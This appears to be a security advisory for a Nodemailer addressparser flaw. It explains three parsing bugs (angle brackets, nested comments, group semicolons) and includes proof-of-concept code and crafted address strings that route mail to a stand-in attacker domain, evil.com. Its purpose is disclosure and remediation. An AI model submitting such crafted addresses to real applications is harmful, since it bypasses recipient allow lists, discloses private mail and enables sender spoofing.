CVE-2026-121424

Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.

Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.

Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.

Vulnerability summary

addressparser ends an angle-addr at the first > it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that >. <"[email protected]>"@good.com> is the mailbox "[email protected]>"@good.com under RFC 5322, and Nodemailer read it as an address at evil.com. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

Realistic exploitation scenario

An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits <"[email protected]>"@good.com>, which validates as a good.com mailbox. Nodemailer then parses the same value, issues RCPT TO:<"\"a"@evil.com> and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.

Proof of concept

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"[email protected]>\"@good.com>"));
// [ { address: '"[email protected]', name: '@good.com>' } ]

Python's email._header_value_parser.get_address_list reads the same value as "[email protected]>"@good.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "<\"[email protected]>\"@good.com>" }) issues the RCPT TO shown above.

Security impact

Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a > outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Vulnerability summary

RFC 5322 comments nest. addressparser ended a comment at the first ), including the one that closes a nested comment, and parsed the rest of the outer comment as header text. Victim (x(y) <[email protected]>) <[email protected]> names [email protected] with x(y) <[email protected]> as a comment, and Nodemailer read it as the address [email protected]. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

Realistic exploitation scenario

An application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits Victim (x(y) <[email protected]>) <[email protected]>, which validates as [email protected]. Nodemailer delivers to [email protected]. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side.

Proof of concept

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <[email protected]>) <[email protected]>"));
// [ { address: '[email protected]', name: 'Victim) [email protected]' } ]

Python's email._header_value_parser.get_address_list reads the same value as [email protected] with the display name Victim, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "Victim (x(y) <[email protected]>) <[email protected]>" }) issues the RCPT TO shown above.

Security impact

Mail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix counts comment depth and ends a comment only at the ) that closes the outermost one.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Vulnerability summary

addressparser ends an RFC 5322 group at the first ;, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. G: (a; <[email protected]>) <[email protected]>; names only [email protected], and Nodemailer read it as the single recipient [email protected]. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.

Realistic exploitation scenario

An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits G: (a; <[email protected]>) <[email protected]>;. The validator sees one mailbox, [email protected], and approves it. Nodemailer delivers to [email protected] only. The same works through a quoted display name, G: "a;" "<[email protected]>" <[email protected]>;. The boundary crossed is the application's recipient allow list.

Proof of concept

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <[email protected]>) <[email protected]>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: '[email protected]', name: ') [email protected]' } ]

Python's email._header_value_parser.get_address_list reads the same value as the single mailbox [email protected], with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <[email protected]>) <[email protected]>;" }) issues the RCPT TO shown above.

Security impact

Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings and comments inside a group and reads only a ; outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Nodemailer from 3.0.0 before 10.1.4 contains an address parsing vulnerability in addressparser that allows remote attackers to redirect recipients by ending nested RFC 5322 comments at the first closing parenthesis. Attackers can submit addresses whose nested comment hides an attacker address, bypassing conformant validators and recipient allow lists to receive mail or spoof senders in mailparser.

TuxCare rebuilt nodemailer to address 2 CVEs. Fixed in 9.0.2-tuxcare.6.

TuxCare rebuilt nodemailer to address 2 CVEs. Fixed in 9.0.6-tuxcare.5.

TuxCare rebuilt nodemailer to address 6 CVEs. Fixed in 9.1.0-tuxcare.7.

TuxCare rebuilt nodemailer to address 2 CVEs. Fixed in 9.0.5-tuxcare.6.

TuxCare rebuilt nodemailer to address 3 CVEs. Fixed in 9.0.0-tuxcare.6.

TuxCare rebuilt nodemailer to address 3 CVEs. Fixed in 9.0.3-tuxcare.6.

TuxCare rebuilt nodemailer to address 7 CVEs. Fixed in 9.0.1-tuxcare.5.

TuxCare rebuilt nodemailer to address 6 CVEs. Fixed in 6.10.1-tuxcare.15.

TuxCare rebuilt nodemailer to address 1 CVE. Fixed in 9.0.5-tuxcare.7.

TuxCare rebuilt nodemailer to address 1 CVE. Fixed in 9.0.2-tuxcare.7.

TuxCare rebuilt nodemailer to address 4 CVEs. Fixed in 9.0.6-tuxcare.6.

TuxCare rebuilt nodemailer to address 2 CVEs. Fixed in 2.7.2-tuxcare.10.